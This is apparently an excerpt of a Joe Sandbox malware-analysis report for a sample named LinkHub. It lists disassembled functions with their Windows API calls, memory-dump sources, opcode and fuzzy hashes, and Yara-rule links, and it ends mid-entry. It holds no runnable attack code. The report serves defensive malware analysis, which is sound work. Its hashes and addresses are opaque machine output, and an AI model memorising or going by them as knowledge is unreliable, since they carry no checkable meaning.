                                                                            control_flow_graph 1435 e08a2e-e08a42 call e05737 1438 e08a44-e08a46 1435->1438 1439 e08a48-e08a50 1435->1439 1440 e08a96-e08ab6 call e056a6 1438->1440 1441 e08a52-e08a59 1439->1441 1442 e08a5b-e08a5e 1439->1442 1452 e08ac4 1440->1452 1453 e08ab8-e08ac2 call dff613 1440->1453 1441->1442 1444 e08a66-e08a7a call e05737 * 2 1441->1444 1445 e08a60-e08a64 1442->1445 1446 e08a7c-e08a8c call e05737 CloseHandle 1442->1446 1444->1438 1444->1446 1445->1444 1445->1446 1446->1438 1455 e08a8e-e08a94 GetLastError 1446->1455 1457 e08ac6-e08ac9 1452->1457 1453->1457 1455->1440
                                                                            APIs
                                                                            • CloseHandle.KERNELBASE(00000000,00000000,?,OV,00E0894C,?,00E99CE8,0000000C,00E089AB,?,OV,?,00E1564F), ref: 00E08A84
                                                                            • GetLastError.KERNEL32 ref: 00E08A8E
                                                                            • __dosmaperr.LIBCMT ref: 00E08AB9
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: CloseErrorHandleLast__dosmaperr
                                                                            • String ID: OV
                                                                            • API String ID: 2583163307-2262073888
                                                                            • Opcode ID: 69ed0a9c0fd93da2a4f37351091013af04ca10fdebcdc42f52b34e65fdceb78b
                                                                            • Instruction ID: fcc30edd3380ebd7c89658e099ba11aff12311f6b62bd55ffdc67ea2c6ecf1aa
                                                                            • Opcode Fuzzy Hash: 69ed0a9c0fd93da2a4f37351091013af04ca10fdebcdc42f52b34e65fdceb78b
                                                                            • Instruction Fuzzy Hash: 12016B337051601EC7646234AD4577F27A5CF96738F29211BF894BB5C2DF708CC05590
                                                                            Function 00DD58CB Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 58registryCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • RegOpenKeyExW.KERNELBASE(80000001,Control Panel\Mouse,00000000,00000001,00000000,?,?,80000001,80000001,?,00DD58BE,SwapMouseButtons,00000004,?), ref: 00DD58EF
                                                                            • RegQueryValueExW.KERNELBASE(00000000,00000000,00000000,00000000,?,?,?,?,?,80000001,80000001,?,00DD58BE,SwapMouseButtons,00000004,?), ref: 00DD5910
                                                                            • RegCloseKey.KERNELBASE(00000000,?,?,?,80000001,80000001,?,00DD58BE,SwapMouseButtons,00000004,?), ref: 00DD5932
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: CloseOpenQueryValue
                                                                            • String ID: Control Panel\Mouse
                                                                            • API String ID: 3677997916-824357125
                                                                            • Opcode ID: a5ff6a57f46f3c2323125e340e74d25675c374b2cd393fa8b2d768c99a741b71
                                                                            • Instruction ID: 5c091242328cbdda4952a5086a46ae9eb0686b1deb3d3f4ce0f9cfebd58939e1
                                                                            • Opcode Fuzzy Hash: a5ff6a57f46f3c2323125e340e74d25675c374b2cd393fa8b2d768c99a741b71
                                                                            • Instruction Fuzzy Hash: B8115A75611618FFDB218FA5EC84DAF77BDEF00760B50442AE801E7214E2719E459B64
                                                                            Function 00DE2B20 Relevance: 5.8, APIs: 1, Strings: 2, Instructions: 531COMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • __Init_thread_footer.LIBCMT ref: 00DE3006
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: Init_thread_footer
                                                                            • String ID: CALL$bn
                                                                            • API String ID: 1385522511-1920074456
                                                                            • Opcode ID: ce4e953f9f9f1151804c19de9f1c0b6247dbbf80c6371cecc49a667043ec6af3
                                                                            • Instruction ID: d996a847112be824a1cf02b32288ee7041b343cf978df1874ba0282dacbc4218
                                                                            • Opcode Fuzzy Hash: ce4e953f9f9f1151804c19de9f1c0b6247dbbf80c6371cecc49a667043ec6af3
                                                                            • Instruction Fuzzy Hash: 7F22AB706083819FC714EF25C885A3ABBE5FF89314F24895DF59A9B361D731E940CBA2
                                                                            Function 00DD3A95 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 64COMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • GetOpenFileNameW.COMDLG32(?), ref: 00E1413B
                                                                              • Part of subcall function 00DD5851: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00DD55D1,?,?,00E14B76,?,?,00000100,00000000,00000000,CMDLINE), ref: 00DD5871
                                                                              • Part of subcall function 00DD3A57: GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 00DD3A76
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: Name$Path$FileFullLongOpen
                                                                            • String ID: X$`u
                                                                            • API String ID: 779396738-2693526198
                                                                            • Opcode ID: e337d50518e0f872aff67e308e4102a0cb2fe17c3a0834f5f1d17b2416a2c9db
                                                                            • Instruction ID: e21e9cee50a9f5b6c8a7ffbefb756abf971e0d5ab60b6b1a64497f6b80f42d22
                                                                            • Opcode Fuzzy Hash: e337d50518e0f872aff67e308e4102a0cb2fe17c3a0834f5f1d17b2416a2c9db
                                                                            • Instruction Fuzzy Hash: 9F216F71A042589BCB019F94DC05AEE7BF8AF49304F00805AE545B7381DBF49A8D8FB2
                                                                            Function 00DF014B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • __CxxThrowException@8.LIBVCRUNTIME ref: 00DF09D8
                                                                              • Part of subcall function 00DF3614: RaiseException.KERNEL32(?,?,?,00DF09FA,74DE2E40,?,?,?,?,?,?,?,00DF09FA,?,00E99758), ref: 00DF3674
                                                                            • __CxxThrowException@8.LIBVCRUNTIME ref: 00DF09F5
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: Exception@8Throw$ExceptionRaise
                                                                            • String ID: Unknown exception
                                                                            • API String ID: 3476068407-410509341
                                                                            • Opcode ID: 4fff2df30670f6d51717abee059c2ff498195d39c57cc89043a02d08d0b5a718
                                                                            • Instruction ID: aa371c667ff4b729773a2a49f79b1818780ee4145daf25a177dd7f7c56499965
                                                                            • Opcode Fuzzy Hash: 4fff2df30670f6d51717abee059c2ff498195d39c57cc89043a02d08d0b5a718
                                                                            • Instruction Fuzzy Hash: 5DF0A43490030DB78B10BAA8EC468BE7B6C9E00750B5AC125BB18E7593FB70EA5589F0
                                                                            Function 00E589B6 Relevance: 4.9, APIs: 3, Instructions: 430COMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • GetCurrentProcess.KERNEL32(00000000,00000067,000000FF,?,?,?), ref: 00E58D52
                                                                            • TerminateProcess.KERNEL32(00000000), ref: 00E58D59
                                                                            • FreeLibrary.KERNEL32(?,?,?,?), ref: 00E58F3A
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: Process$CurrentFreeLibraryTerminate
                                                                            • String ID:
                                                                            • API String ID: 146820519-0
                                                                            • Opcode ID: aec2b7e936fb8616e285a8e5c536cba2a731b9688016de39a66f9d12c973318a
                                                                            • Instruction ID: d19f821532000c8aaf098dfbad26c02ccdc24610ad67ad58b84e834a7b84406d
                                                                            • Opcode Fuzzy Hash: aec2b7e936fb8616e285a8e5c536cba2a731b9688016de39a66f9d12c973318a
                                                                            • Instruction Fuzzy Hash: 7F128D71A08340DFC714DF24C584B5ABBE5FF88319F14995DE889AB352DB30E949CBA2
                                                                            Function 00E59AF3 Relevance: 4.7, APIs: 3, Instructions: 233COMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: _wcslen$_strcat
                                                                            • String ID:
                                                                            • API String ID: 306214811-0
                                                                            • Opcode ID: af73efd9fca76db8f0645194227a62335e1dcb342fbd07d7b7a80f130dacea5f
                                                                            • Instruction ID: be38115c86eee4908efad2cb882552d94fc1144a4611ac5f59b632acd468e050
                                                                            • Opcode Fuzzy Hash: af73efd9fca76db8f0645194227a62335e1dcb342fbd07d7b7a80f130dacea5f
                                                                            • Instruction Fuzzy Hash: 1AA14831600605EFCB18DF18D5D19A9BBB1FF45315B6098AEE80A9F392DB31E946CF90
                                                                            Function 00E0970B Relevance: 4.6, APIs: 3, Instructions: 50COMMONLIBRARYCODE
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • SetFilePointerEx.KERNELBASE(00000000,00000000,00000002,FF8BC369,00000000,FF8BC35D,00000000,1875FF1C,1875FF1C,?,00E097BA,FF8BC369,00000000,00000002,00000000), ref: 00E09744
                                                                            • GetLastError.KERNEL32(?,00E097BA,FF8BC369,00000000,00000002,00000000,?,00E05ED4,00000000,00000000,00000000,00000002,00000000,FF8BC369,00000000,00DF6F41), ref: 00E0974E
                                                                            • __dosmaperr.LIBCMT ref: 00E09755
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: ErrorFileLastPointer__dosmaperr
                                                                            • String ID:
                                                                            • API String ID: 2336955059-0
                                                                            • Opcode ID: 5be72c77e94a98dbb231d1c811d4a165deeaad511947c453ff009b975d888774
                                                                            • Instruction ID: 33f219899bba16934a5f9636e3d32f0f5eb1cf74cf7eae6ce200d7a95590b9b1
                                                                            • Opcode Fuzzy Hash: 5be72c77e94a98dbb231d1c811d4a165deeaad511947c453ff009b975d888774
                                                                            • Instruction Fuzzy Hash: 2A014033720114AFCB159F9ADC05CAF3719DF85730B284246F811E71D2EA70DD919BA0
                                                                            Function 00E40D18 Relevance: 4.5, APIs: 3, Instructions: 21COMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • GetCurrentProcess.KERNEL32(00000030,00000000,?,00000002,00000000,?,00E40B03,00000000,?,00000000,?,00E13A00,00000000), ref: 00E40D2E
                                                                            • GetCurrentProcess.KERNEL32(?,00000000,?,00E40B03,00000000,?,00000000,?,00E13A00,00000000), ref: 00E40D36
                                                                            • DuplicateHandle.KERNELBASE(00000000,?,00E40B03,00000000,?,00000000,?,00E13A00,00000000), ref: 00E40D3D
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: CurrentProcess$DuplicateHandle
                                                                            • String ID:
                                                                            • API String ID: 1294930198-0
                                                                            • Opcode ID: 6229377b34042cf8e49245989e6f043c2a281a07b0024c952ffa373ae6b3a3e8
                                                                            • Instruction ID: c8d93f34f2c57af76891e3d24f0ca7d95b78452b8165481f39951f441deb462b
                                                                            • Opcode Fuzzy Hash: 6229377b34042cf8e49245989e6f043c2a281a07b0024c952ffa373ae6b3a3e8
                                                                            • Instruction Fuzzy Hash: 18D05B77A44305BFC7011BD6FC09F77777CDBC6B66F504029F705A51519AF054049621
                                                                            Function 00DEFFE0 Relevance: 3.1, APIs: 2, Instructions: 94processCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • CloseHandle.KERNELBASE ref: 00DF007D
                                                                            • CreateToolhelp32Snapshot.KERNEL32 ref: 00DF008F
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: CloseCreateHandleSnapshotToolhelp32
                                                                            • String ID:
                                                                            • API String ID: 3280610774-0
                                                                            • Opcode ID: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
                                                                            • Instruction ID: db4c839c56637e8e90028f000f0f37709b1e4613c7469bd31157686b59eb3595
                                                                            • Opcode Fuzzy Hash: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
                                                                            • Instruction Fuzzy Hash: 2B31C370A00109DBC718CF58D490A79FBA6FB49304B29C6A5E949CB256DB32EDC1CBE0
                                                                            Function 00DD396B Relevance: 3.1, APIs: 2, Instructions: 77windowCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • Shell_NotifyIconW.SHELL32(00000000,?), ref: 00DD3A3C
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: IconNotifyShell_
                                                                            • String ID:
                                                                            • API String ID: 1144537725-0
                                                                            • Opcode ID: 547abeeb934b26423248bc8c09e758ea0afe17076bd3aa12eec5e95ef9b0e934
                                                                            • Instruction ID: 34d820cc834dd697c58990cd5fa9ad2147d2b0999fc4fe9efa8d09e866361274
                                                                            • Opcode Fuzzy Hash: 547abeeb934b26423248bc8c09e758ea0afe17076bd3aa12eec5e95ef9b0e934
                                                                            • Instruction Fuzzy Hash: EB3193B06043019FD720DF25D884797BBE8FB4A308F00092EE6D9A7341E7B5A948CB62
                                                                            Function 00E04EB8 Relevance: 3.1, APIs: 2, Instructions: 67COMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • GetStdHandle.KERNEL32(000000F6), ref: 00E04F04
                                                                            • GetFileType.KERNELBASE(00000000), ref: 00E04F16
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: FileHandleType
                                                                            • String ID:
                                                                            • API String ID: 3000768030-0
                                                                            • Opcode ID: 8474066a018236ef8dc19dc3e61f77a11464ad4d6670cdf72c0c52b044a7e0f3
                                                                            • Instruction ID: 15d828652c5e8986dd1de94dcf6407f443854f85793db8b4eef39127100c8a1b
                                                                            • Opcode Fuzzy Hash: 8474066a018236ef8dc19dc3e61f77a11464ad4d6670cdf72c0c52b044a7e0f3
                                                                            • Instruction Fuzzy Hash: D911A5F17087434AC7308A3E9E886226A94A796378B38375AD6B6E75F5C620D8C69250
                                                                            Function 00E40AC4 Relevance: 3.0, APIs: 2, Instructions: 30COMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • InitializeCriticalSectionAndSpinCount.KERNEL32(00000018,00000FA0,?,00000000,?,00E13A00,00000000), ref: 00E40AEC
                                                                            • InterlockedExchange.KERNEL32(00000038,00000000), ref: 00E40B0E
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: CountCriticalExchangeInitializeInterlockedSectionSpin
                                                                            • String ID:
                                                                            • API String ID: 4104817828-0
                                                                            • Opcode ID: 993f34257fcdd57f5ac0f19c37601e69656f2cb3bba10748d6521d8a566cefe8
                                                                            • Instruction ID: 3f32b20fa851bb7666f63b4dc58964a521d4e42944ea21c0d52ec8d92c85a153
                                                                            • Opcode Fuzzy Hash: 993f34257fcdd57f5ac0f19c37601e69656f2cb3bba10748d6521d8a566cefe8
                                                                            • Instruction Fuzzy Hash: 25F017B16007059FC3209F56D9448A7FBECFF95720B40482EE58A87A20C7B4B049CB90
                                                                            Function 00DD331B Relevance: 3.0, APIs: 2, Instructions: 30COMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • IsThemeActive.UXTHEME ref: 00DD333D
                                                                              • Part of subcall function 00DD32E6: SystemParametersInfoW.USER32(00002000,00000000,?,00000000), ref: 00DD32FB
                                                                              • Part of subcall function 00DD32E6: SystemParametersInfoW.USER32(00002001,00000000,00000000,00000002), ref: 00DD3312
                                                                              • Part of subcall function 00DD338B: GetCurrentDirectoryW.KERNEL32(00007FFF,?,?,?,?,?,00DD3368,?), ref: 00DD33BB
                                                                              • Part of subcall function 00DD338B: IsDebuggerPresent.KERNEL32(?,?,?,?,?,?,00DD3368,?), ref: 00DD33CE
                                                                              • Part of subcall function 00DD338B: GetFullPathNameW.KERNEL32(00007FFF,?,?,00EA2418,00EA2400,?,?,?,?,?,?,00DD3368,?), ref: 00DD343A
                                                                              • Part of subcall function 00DD338B: SetCurrentDirectoryW.KERNEL32(?,00000001,00EA2418,?,?,?,?,?,?,?,00DD3368,?), ref: 00DD34BB
                                                                            • SystemParametersInfoW.USER32(00002001,00000000,00000002,?), ref: 00DD3377
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: InfoParametersSystem$CurrentDirectory$ActiveDebuggerFullNamePathPresentTheme
                                                                            • String ID:
                                                                            • API String ID: 1550534281-0
                                                                            • Opcode ID: d60fe5b3bc9c616727d120fb3463afbcb61cc98a6fadf0aa2ef892d15d28aa6f
                                                                            • Instruction ID: f35ab7b224e5fb2ab7319aa93579064373237fa89090772346b5f0e0798862fc
                                                                            • Opcode Fuzzy Hash: d60fe5b3bc9c616727d120fb3463afbcb61cc98a6fadf0aa2ef892d15d28aa6f
                                                                            • Instruction Fuzzy Hash: B6F09031908345AFDB006BB9FD0AB253B90E70B749F00480AB708751E2CBBAA15C8B61
                                                                            Function 00E40B4C Relevance: 3.0, APIs: 2, Instructions: 21COMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                              • Part of subcall function 00E41312: InterlockedExchange.KERNEL32(?,?), ref: 00E41322
                                                                              • Part of subcall function 00E41312: EnterCriticalSection.KERNEL32(00000000,?), ref: 00E41334
                                                                              • Part of subcall function 00E41312: TerminateThread.KERNEL32(00000000,000001F6), ref: 00E41342
                                                                              • Part of subcall function 00E41312: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00E41350
                                                                              • Part of subcall function 00E41312: CloseHandle.KERNEL32(00000000), ref: 00E4135F
                                                                              • Part of subcall function 00E41312: InterlockedExchange.KERNEL32(?,000001F6), ref: 00E4136F
                                                                              • Part of subcall function 00E41312: LeaveCriticalSection.KERNEL32(00000000), ref: 00E41376
                                                                            • CloseHandle.KERNELBASE(?,?,00E40BBF), ref: 00E40B5D
                                                                            • DeleteCriticalSection.KERNEL32(?,?,00E40BBF), ref: 00E40B83
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
